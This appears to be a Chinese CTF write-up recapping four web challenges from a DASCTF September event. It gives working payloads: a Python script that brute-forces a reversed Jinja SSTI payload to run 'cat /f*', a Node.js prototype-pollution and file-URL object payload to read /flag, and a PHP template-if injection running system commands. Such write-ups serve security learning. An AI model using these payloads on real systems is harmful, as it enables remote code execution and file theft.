DASCTF九月挑战赛复现-web

web

dino3d

进入题目先小玩一把
在这里插入图片描述
发现只要玩够这么多分就行,看看源码中的信息
在别的地方都没有信息,在一个js文件中好像有checkcode,进去看一下/js/build.min.js?patch=3x1
这里全都挤在一块,用工具将他变成人能看懂的语句美化代码
找到重要信息:

var salt = "_wElc03e";
var checkCode = "DASxCBCTF" + salt;

//checkCode="DASxCBCTF_wElc03e";	

在这里插入图片描述
在这里可以看到它对check.php进行了一次发包
那么我们只需要修改其中的分数,用它原来的方法对他进行一次发包就可以拿到flag
e就是分数,t就是我们的checkcode我们直接在页面中对他进行调用
flag拿到flag

Text Reverser

测试发现{{被过滤了,但是{%可以用可以用{%print()%}替换
因为他会反转,所以用python代码反转一下直接requests请求查看返回页面就行
后面就是寻找攻击载荷
直接挑攻击载荷爆破就行,给上python脚本

import requests
import time

for i in range(448):
    payload = "{%print(''.__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('ca'+'t /f*').read()\"))%}"
    payload = payload[::-1]
    print(payload)

    url = 'http://420edf9a-46e5-42bd-b71a-a8b93def0907.node4.buuoj.cn:81/'
    data = {
        "text":payload
    }
    io = requests.post(url=url, data=data)
    print(i)
    time.sleep(0.2)

    if "{" in io.text:
        print(io.text)

拿到flag

cbshop

一道nodejs原型链污染题目
题目给出了源码,需要先登陆,如果使用正确的用户名和密码那么就会有9999块钱

const adminUser = {
    username: "admin",
    password: "😀admin😀",
    money: 9999
};

    if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
        req.session.username = username;
        req.session.money = adminUser.money;
        return res.json({
            code: 1,
            username: username,
            money: req.session.money,
            msg: 'admin login success!'
        });
    }

下面的代码可以看到只有当他的密码是截取的1到6位的时候才会获得9999块钱
先unicode编码一下\ude00\u0061\u0064\u006d\u0069
登陆就能发现9999快
在这里插入图片描述

        if(user.money >= 11 && user.token) {  //do u have token?
        在这里可以发现这里需要有一个token但是我们没有我们需要自己造

在购买商品这里
在这里插入图片描述
可以发现在调用buyapi接口的时候直接将body作为实参传过去了,所以我们就可以控制product
因为token没地方找会自动往上一个链子里面去寻找,所以我们直接在上面进行覆盖
如果我们的username是__proto__,那么他就会直接将product合并到order原型链上那么他就可以直接添加token进入下面的判断语句了
接下来就是绕过关键字flag这里在之前的比赛中有原题,给出pysnow师傅的题解:corCRTF
简单来分析一下
他调用了fs.readFileSync
在这里插入图片描述
这里是可以直接传入URL的,URL会进行编码
我们直接跟进一下代码

function readFileSync(path, options) {
    options = getOptions(options, { flag: 'r' });
    const isUserFd = isFd(path); // File descriptor ownership
    const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);
  //	这里判断是不是文件描述符如果不是就进入openSync函数  需要跟进一下
    const stats = tryStatSync(fd, isUserFd);
    const size = isFileType(stats, S_IFREG) ? stats[8] : 0;
    let pos = 0;
    let buffer; // Single buffer with file data
    let buffers; // List for when size is unknown
  
    if (size === 0) {
      buffers = [];
    } else {
      buffer = tryCreateBuffer(size, fd, isUserFd);
    }
  
    let bytesRead;
  
    if (size !== 0) {
      do {
        bytesRead = tryReadSync(fd, isUserFd, buffer, pos, size - pos);
        pos += bytesRead;
      } while (bytesRead !== 0 && pos < size);
    } else {
      do {
        // The kernel lies about many files.
        // Go ahead and try to read some bytes.
        buffer = Buffer.allocUnsafe(8192);
        bytesRead = tryReadSync(fd, isUserFd, buffer, 0, 8192);
        if (bytesRead !== 0) {
          ArrayPrototypePush(buffers, buffer.slice(0, bytesRead));
        }
        pos += bytesRead;
      } while (bytesRead !== 0);
    }
  
    if (!isUserFd)
      fs.closeSync(fd);
  
    if (size === 0) {
      // Data was collected into the buffers list.
      buffer = Buffer.concat(buffers, pos);
    } else if (pos < size) {
      buffer = buffer.slice(0, pos);
    }
  
    if (options.encoding) buffer = buffer.toString(options.encoding);
    return buffer;
  }
  function openSync(path, flags, mode) {
  path = getValidatedPath(path);//这里调用了这个函数很明显还需要跟进
  const flagsNumber = stringToFlags(flags);
  mode = parseFileMode(mode, 'mode', 0o666);

  const ctx = { path };
  const result = binding.open(pathModule.toNamespacedPath(path),
                              flagsNumber, mode,
                              undefined, ctx);
  handleErrorFromBinding(ctx);
  return result;
}

function getValidatedPath (fileURLOrPath) {
  const path = fileURLOrPath != null && fileURLOrPath.href
      && fileURLOrPath.origin
    ? fileURLToPath(fileURLOrPath)//如果fileURLOrPath不为空而且具有href以及origin属性就进入fileURLToPath函数,继续跟进
    : fileURLOrPath
  return path
}

function fileURLToPath(path) {
  if (typeof path === 'string')
    path = new URL(path);
  else if (!isURLInstance(path))//isURLInstance必须为真
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
  if (path.protocol !== 'file:')//他的oriticol属性必须为file:
    throw new ERR_INVALID_URL_SCHEME('file');
  return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);//判断系统,这里直接进入getPathFromURLPosix
}

function isURLInstance(fileURLOrPath) {
  return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}//如果存在href以及origin属性就返回1

  function getPathFromURLPosix(url) {
  if (url.hostname !== '') {//不能进这个if所以hostname需要为空
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n < pathname.length; n++) {
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;//对pathname进行解析
      if (pathname[n + 1] === '2' && third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}

跟进结束

所以现在就是需要protocol属性值为file:
hostname为空
存在href以及origin属性
pathname为我们需要的路径值

最终payload:

{"token":1,"name":{"hostname":"",
"protocol":"file:","href":1,"origin":1,"pathname":"/fl%61g"},"id":2}

zzz_again

小小的复现了一下,有些许问题没整明白,先写上,日后再多看看
漏洞点触发在ParserTemplate::parserIfLabel
绕过if进入eval,RCE
在这里插入图片描述
是由全局解析解析而来
在这里插入图片描述
继续向上看啊可能代码在location这里在进入list的时候会进入他的parserListPage方法,里面接收到了REQUEST[‘URL’]参数
在这里插入图片描述

只对他进行了一点点修改,并没有对他进行修改或者编码
继续向上回溯,可以在client的211行进入解析模板,我们没有设定runmode值那么就会进入
我们需要进入list接卸,所以我们只需要location=list就然后绕过后面IF解析的dangerous_key就可以进行RCE
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
?location=aaa&bbb={if:=strtolower(“SYSTEM”)(“cat /flag”)}{end if}&aaa=1

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值